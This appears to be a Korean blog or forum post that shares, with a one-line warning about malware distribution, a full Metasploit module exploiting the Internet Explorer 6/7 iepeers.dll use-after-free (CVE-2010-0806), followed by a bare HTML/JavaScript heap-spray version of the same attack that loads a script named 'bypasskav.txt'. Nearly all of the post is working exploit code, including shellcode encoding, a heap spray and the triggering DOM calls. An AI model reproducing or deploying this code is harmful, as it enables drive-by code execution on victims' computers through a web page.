현재 악성코드 유포로 이용될 가능성이 있는 인터넷 익스플로러 취약점 입니다. Metasploit 모듈로 올라왔네요..
##
# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
# - Microsoft Internet Explorer 7, Windows Vista SP2
# - Microsoft Internet Explorer 7, Windows XP SP3
# - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer iepeers.dll use-after-free',
'Description' => %q{
This module exploits a use-after-free vulnerability within iepeers.dll of
Microsoft Internet Explorer versions 6 and 7.
NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
},
'License' => MSF_LICENSE,
'Author' => [
'Trancer <mtrancer[at]gmail.com>'
],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2010-0806' ],
[ 'OSVDB', '62810' ],
[ 'BID', '38615' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return\nops
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize the javascript variable names
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_array = rand_text_alpha(rand(100) + 1)
j_function1 = rand_text_alpha(rand(100) + 1)
j_function2 = rand_text_alpha(rand(100) + 1)
j_object = rand_text_alpha(rand(100) + 1)
j_id = rand_text_alpha(rand(100) + 1)
# Build out the message
html = %Q|<html><body>
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
<script language='javascript'>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}(){
#{j_function1}();
var #{j_object} = document.createElement('body');
#{j_object}.addBehavior('#default#userData');
document.appendChild(#{j_object});
try {
for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
#{j_object}.setAttribute('s',window);
}
} catch(e){ }
window.status+='';
}
document.getElementById('#{j_id}').onclick();
</script></body></html>|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end아래 소스는 기본 형태 입니다.
<html>
<body>
<button id="helloworld" onclick="blkjbdkjb();" STYLE="DISPLAY:NONE">
</button>
<script language="JavaScript" src="bypasskav.txt">
</script>
<script language="JavaScript">
function eejeefe() {
var s = unescape("%u0c0c");
var u = unescape("%u0c0c");
var c = s + u;
var array = new Array();
var ls = 0x86000 - (c.length * 2);
var b = unescape("%u0c0c%u0c0C");
while (b.length < ls / 2) {
b += b;
}
var lh = b.substring(0, ls / 2);
delete b;
for (i = 0; i < 270; i++) {
array[i] = lh + lh + c;
}
}
function blkjbdkjb() {
eejeefe();
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior("#default#userData");
document.appendChild(sdfsfsdf);
try {
for (i = 0; i < 10; i++) {
sdfsfsdf.setAttribute('s', window);
}
}
catch (e) {}
window.status += '';
}
document.getElementById("helloworld").onclick();
</script>
</body>
</html>